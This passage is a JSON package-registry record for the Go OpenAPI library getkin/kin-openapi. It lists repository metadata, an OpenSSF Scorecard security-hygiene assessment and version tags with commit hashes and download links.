{"id":3492861,"name":"github.com/getkin/kin-openapi","ecosystem":"go","description":"","homepage":"https://github.com/getkin/kin-openapi","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/getkin/kin-openapi","keywords_array":[],"namespace":"github.com/getkin","versions_count":155,"first_release_published_at":"2018-09-29T13:36:49.000Z","latest_release_published_at":"2026-10-15T10:00:58.000Z","latest_release_number":"v0.151.0","latest_published_release_number":"v0.151.0","last_synced_at":"2026-10-22T02:20:17.859Z","created_at":"2022-04-10T19:12:58.328Z","updated_at":"2026-10-22T13:18:11.248Z","registry_url":"https://pkg.go.dev/github.com/getkin/kin-openapi","install_command":"go get github.com/getkin/kin-openapi","documentation_url":"https://pkg.go.dev/github.com/getkin/kin-openapi#section-documentation","metadata":null,"repo_metadata":{"id":38816442,"uuid":"94029207","full_name":"getkin/kin-openapi","owner":"getkin","description":"OpenAPI 3.0 and 3.1 and 3.2 (and Swagger v2) implementation for Go (parsing, converting, validation, and more)","archived":false,"fork":false,"pushed_at":"2026-10-17T12:48:05.000Z","size":3560,"stargazers_count":3305,"open_issues_count":84,"forks_count":528,"subscribers_count":18,"default_branch":"master","last_synced_at":"2026-10-17T23:07:13.547Z","etag":null,"topics":["api","documentation","golang","hacktoberfest","openapi","openapi2","openapi3","swagger"],"latest_commit_sha":null,"homepage":"","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/getkin.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"accessibility":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null},"funding":{"github":["fenollp"]}},"created_at":"2017-06-11T20:12:06.000Z","updated_at":"2026-10-17T12:48:12.000Z","dependencies_parsed_at":"2026-10-17T19:12:30.392Z","dependency_job_id":null,"html_url":"https://github.com/getkin/kin-openapi","commit_stats":{"total_commits":553,"total_committers":209,"mean_commits":2.645933014354067,"dds":0.6419529837251357,"last_synced_commit":"c41a06863174e3aa1f5516108781b8c081c9611c"},"previous_names":["jban332/kin-openapi","jban332/kinapi"],"tags_count":155,"template":false,"template_full_name":null,"purl":"pkg:github/getkin/kin-openapi","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/getkin","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/sbom","scorecard":{"id":424284,"data":{"date":"2025-08-11","repo":{"name":"github.com/getkin/kin-openapi","commit":"e00a34088955fdb170656bdd9a54f8a72a77e9c7"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.1,"checks":[{"name":"Maintained","score":9,"reason":"7 commit(s) and 4 issue activity found in the last 90 days -- score normalized to 9","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Code-Review","score":9,"reason":"Found 29/30 approved changesets -- score normalized to 9","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/go.yml:1","Warn: no topLevel permission defined: .github/workflows/shellcheck.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/go.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/getkin/kin-openapi/go.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/go.yml:39: update your workflow using https://app.stepsecurity.io/secureworkflow/getkin/kin-openapi/go.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/go.yml:45: update your workflow using https://app.stepsecurity.io/secureworkflow/getkin/kin-openapi/go.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/go.yml:53: update your workflow using https://app.stepsecurity.io/secureworkflow/getkin/kin-openapi/go.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/go.yml:206: update your workflow using https://app.stepsecurity.io/secureworkflow/getkin/kin-openapi/go.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/go.yml:207: update your workflow using https://app.stepsecurity.io/secureworkflow/getkin/kin-openapi/go.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/shellcheck.yml:12: update your workflow using https://app.stepsecurity.io/secureworkflow/getkin/kin-openapi/shellcheck.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/shellcheck.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/getkin/kin-openapi/shellcheck.yml/master?enable=pin","Warn: goCommand not pinned by hash: .github/workflows/go.yml:211","Info:   0 out of   7 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   1 third-party GitHubAction dependencies pinned","Info:   0 out of   1 goCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-19T01:55:45.848Z","repository_id":38816442,"created_at":"2025-08-19T01:55:45.848Z","updated_at":"2025-08-19T01:55:45.848Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":344872684,"owners_count":38335419,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-10-03T21:59:58.778Z","status":"online","status_checked_at":"2026-10-17T02:00:06.547Z","response_time":57,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"getkin","name":"getkin","uuid":"40365715","kind":"organization","description":"An open-source community.","email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/40365715?v=4","repositories_count":2,"last_synced_at":"2026-10-15T11:34:43.931Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/getkin","funding_links":[],"total_stars":3299,"followers":12,"following":0,"created_at":"2022-11-17T12:09:51.211Z","updated_at":"2026-10-15T11:34:43.983Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/getkin","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/getkin/repositories"},"tags":[{"name":"v0.151.0","sha":"a07ec19d37147af7933ba13196504276f9227074","kind":"commit","published_at":"2026-10-15T10:00:58.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.151.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.151.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.151.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.151.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.151.0/manifests"},{"name":"v0.150.0","sha":"ebce9cc9796c47af00cc6dbce8d26875655b7ebb","kind":"commit","published_at":"2026-10-13T16:58:07.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.150.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.150.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.150.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.150.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.150.0/manifests"},{"name":"v0.149.0","sha":"1a812b4b73ede7fa295c63a5c89d1ca7250dcc07","kind":"commit","published_at":"2026-08-28T09:14:33.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.149.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.149.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.149.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.149.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.149.0/manifests"},{"name":"v0.148.0","sha":"4487f198ab8be0c37d6ca72c54f5dca4dc25270e","kind":"commit","published_at":"2026-08-27T10:09:50.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.148.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.148.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.148.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.148.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.148.0/manifests"},{"name":"v0.147.0","sha":"eda80e2676e9f577ceed2dd80e64f16083edb041","kind":"commit","published_at":"2026-08-18T14:12:06.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.147.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.147.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.147.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.147.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.147.0/manifests"},{"name":"v0.146.0","sha":"335f4e6abe8ecb82856651f30ed955834d90e15c","kind":"commit","published_at":"2026-08-03T11:01:42.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.146.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.146.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.146.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.146.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.146.0/manifests"},{"name":"v0.145.0","sha":"88aa64c7cbd03ecadbb419c473bdcaa8b0124c6b","kind":"commit","published_at":"2026-07-25T12:43:34.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.145.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.145.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.145.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.145.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.145.0/manifests"},{"name":"v0.144.0","sha":"f0407d53b0730280266f454b755010e7eeb985da","kind":"commit","published_at":"2026-07-23T23:08:15.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.144.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.144.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.144.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.144.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.144.0/manifests"},{"name":"v0.143.0","sha":"30e292371a89ca6d1f91a9553e0aa518b49f838d","kind":"commit","published_at":"2026-07-21T12:48:31.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.143.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.143.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.143.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.143.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.143.0/manifests"},{"name":"v0.142.0","sha":"1223a0f215d2cf9beb2d9eb9ea2649d001c21388","kind":"commit","published_at":"2026-07-11T22:04:27.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.142.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.142.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.142.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.142.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.142.0/manifests"},{"name":"v0.141.0","sha":"1d0a337c9b1570fab283be8a04c8af6e43b9a22c","kind":"commit","published_at":"2026-07-10T08:49:45.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.141.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.141.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.141.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.141.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.141.0/manifests"},{"name":"v0.140.0","sha":"5124898cf4bf7f020d8c58e4a16ba51d09db6fb0","kind":"commit","published_at":"2026-06-02T15:47:47.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.140.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.140.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.140.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.140.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.140.0/manifests"},{"name":"v0.139.0","sha":"8381bfc73ce3bb241d298bc8415b8f724b6ddfb6","kind":"commit","published_at":"2026-05-21T14:53:30.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.139.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.139.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.139.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.139.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.139.0/manifests"},{"name":"v0.138.0","sha":"d2375754a1cada59a8414d370eee9eeaa8f5b2d1","kind":"commit","published_at":"2026-05-08T08:31:09.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.138.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.138.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.138.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.138.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.138.0/manifests"},{"name":"v0.137.0","sha":"b64124451ae3792c738848191b38b9be4c67b65f","kind":"commit","published_at":"2026-04-28T07:19:01.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.137.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.137.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.137.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.137.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.137.0/manifests"},{"name":"v0.136.0","sha":"ff4bce724cfa3fdf6fac4470c76a8511662b21f6","kind":"commit","published_at":"2026-04-25T09:11:25.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.136.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.136.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.136.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.136.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.136.0/manifests"},{"name":"v0.135.0","sha":"9686b66c8cf9b6b242c7d80e44f43a606ca970db","kind":"commit","published_at":"2026-04-08T20:47:38.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.135.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.135.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.135.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.135.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.135.0/manifests"},{"name":"v0.134.0","sha":"713eff1d1285b8e4934b218ebf4757b3f00452d7","kind":"commit","published_at":"2026-03-13T16:49:56.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.134.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.134.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.134.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.134.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.134.0/manifests"},{"name":"v0.133.0","sha":"2baea3d16906f92e241304527137592a8251afc9","kind":"commit","published_at":"2025-08-25T08:52:10.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.133.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.133.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.133.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.133.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.133.0/manifests"},{"name":"v0.132.0","sha":"72b5d5177d5993bbbc8c863e36ef036850558658","kind":"commit","published_at":"2025-04-29T12:20:37.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.132.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.132.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.132.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.132.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.132.0/manifests"},{"name":"v0.131.0","sha":"67f0b233ffc01332f7d993f79490fbea5f4455f1","kind":"commit","published_at":"2025-03-19T12:54:22.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.131.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.131.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.131.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.131.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.131.0/manifests"},{"name":"v0.130.0","sha":"6da871e0e170b7637eb568c265c08bc2b5d6e7a3","kind":"commit","published_at":"2025-03-12T10:29:00.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.130.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.130.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.130.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.130.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.130.0/manifests"},{"name":"v0.129.0","sha":"cea0a13b906a708102947f95b9b09d631ff60976","kind":"commit","published_at":"2024-12-24T10:20:21.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.129.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.129.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.129.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.129.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.129.0/manifests"},{"name":"v0.128.0","sha":"1eeb41ca5a03ec81862d9135bcb0a09c6d7d7d2a","kind":"commit","published_at":"2024-10-01T20:44:42.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.128.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.128.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.128.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.128.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.128.0/manifests"},{"name":"v0.127.0","sha":"d7226466cdeb3a02e90c8cd242c631896e5a2d32","kind":"commit","published_at":"2024-07-30T14:58:15.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.127.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.127.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.127.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.127.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.127.0/manifests"},{"name":"v0.126.0","sha":"2692f43ba21c89366b2a221a86be520b87539352","kind":"commit","published_at":"2024-07-05T15:57:58.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.126.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.126.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.126.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.126.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.126.0/manifests"},{"name":"v0.125.0","sha":"b18a27af2b410ca83b58232b51e3b9caccd058b4","kind":"commit","published_at":"2024-06-10T19:56:42.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.125.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.125.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.125.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.125.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.125.0/manifests"},{"name":"v0.124.0","sha":"9dbb4c3be9314ca0985a3fd32f393368cd998957","kind":"commit","published_at":"2024-04-06T10:45:54.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.124.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.124.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.124.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.124.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.124.0/manifests"